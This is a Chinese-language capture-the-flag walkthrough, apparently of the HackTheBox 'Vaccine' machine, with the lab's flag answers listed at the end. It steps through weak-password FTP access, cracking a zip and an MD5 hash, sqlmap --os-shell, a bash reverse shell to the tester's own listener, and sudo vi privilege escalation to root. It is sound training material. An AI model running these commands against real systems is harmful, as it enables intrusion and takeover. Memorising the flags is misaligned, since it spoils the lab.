zip解密 sqlmap获取os-shell root vi提权
信息收集
-sV -v
有三个端口
尝试 ftp
登录,测试了几次,ftp/ftp
登录成功,这个安排就很合理,再多一次就不尝试了😀
查看文件,竟然有压缩包,看这名称,大概率是源码,下载
解压,竟然需要密码,很不错,这一步是我没想到的
尝试 ssh
登录,默认root
用户,输了几次密码,错误
查看80端口,一个登录接口
尝试弱口令,万能密码,sqlmap post
注入等,都是我们之前学过的,练习一下,都没有进展
扫目录,有一些发现
这个 license.txt
是授权信息,里面这个网址是一个前端模板网站,可能是这个网站使用了该作者的模板,在发现的js
文件里也可以看到,所以这些有什么用呢? 山穷水尽了,只有一个加密的压缩包
解密压缩包
没别的,暴破,使用在 Responder
接触过的 john
工具
zip2john backup.zip > hash.txt
john -wordlist=/usr/share/wordlists/rockyou.txt hash.txt
用了0.03s,太快了我还以为报错了
打开得到的 index.php
,能看到账号和加密的密码
又来活了,继续暴破,使用 hashcat
echo '2cb42f8734ea607eefed3b70af13bbd3'>hash
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
也很快 2cb42f8734ea607eefed3b70af13bbd3:qwerty789
明显的弱口令,为什么之前 burp
没有试一下呢?
登录进去就是之前那个类似的页面,一个搜索功能,竟然是能用的功能,太惊喜了,这不得测试 sql
注入?
sql注入测试
加了个单引号就很不争气的露出马脚了,以前讲过报错注入,但是我们最终的目的是获取一定权限,那就要用到 --os-shell
了
加上自己登录后的 cookie
sqlmap -u http://10.129.217.84/dashboard.php?search=fd --cookie="PHPSESSID=9hv260hbhh6qvl58v5gbpc1rb1" --os-shell
因为它的权限也很低,我连看文件都看不了,继续用 bash
命令连 nc
nc -lvnp 443
bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"
此命令是获取完全交互式 shell
,不完全交互式顾名思义,无法使用某些功能,还容易误操作
python -c 'import pty; pty.spawn("/bin/bash")'
翻文件,这有个配置文件
postgres@vaccine:/var/lib/postgresql/11/main$ ls
user.txt
,但是还有一个 root.txt
一般都是需要我们提权
这个反弹的 shell
断的也很快,继续看,翻到数据库连接账号密码
postgres@vaccine:/var/www/html$ cat dashboard.php
连接数据库提权
连接(我们之前没扫描到数据库的开放端口)
ssh postgres@10.129.217.84
sudo -l
https://gtfobins.github.io/ 👈是用于绕过配置错误的系统中的本地安全限制的各种方法集合
我们可以以 root
权限编辑 pg_hba.conf
文件,输入下面语句,分两次编辑
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh :wq 保存退出
:shell 回车
发现已经变成 root
权限了
什么原理呢?
:set shell=/bin/sh
是设置 vim
使用哪个解释器
If the binary is allowed to run as superuser by sudo, it does not drop the elevated
privileges and may be used to access the file system, escalate or maintain privileged
access
还是要学一学英语,好多翻译的词不达意,我记得以前看提权的一些文章,当时看不懂,但是现在想起来,很类似,就是进程注入提权,它的原理是权限共享机制,结合起来解释就是如果可以使用 root
权限执行 vim
就相当于一个高权限进程,这样 vim
执行哪些操作都可以了,不知道这样想对不对?
:shell
这个命令我理解的是调用了之前设置的 shell
,因为属于 root
权限,所以获得了 root shell
,在 HTB_Oopsie
里也是 SUID
提权,也是执行了 /bin/sh
这个命令, 那个是通过修改临时环境变量调用执行文件,这个是通过修改配置来调用…不纠结了,再学习学习后面总结吧
查看 root flag
答案
FTP
anonymous
backup.zip
zip2john
qwerty789
--os-shell
vi
ec9b13ca4d6229cd5cc1e09980965bf7
dd6e058e814260bc70e9bbdef2715849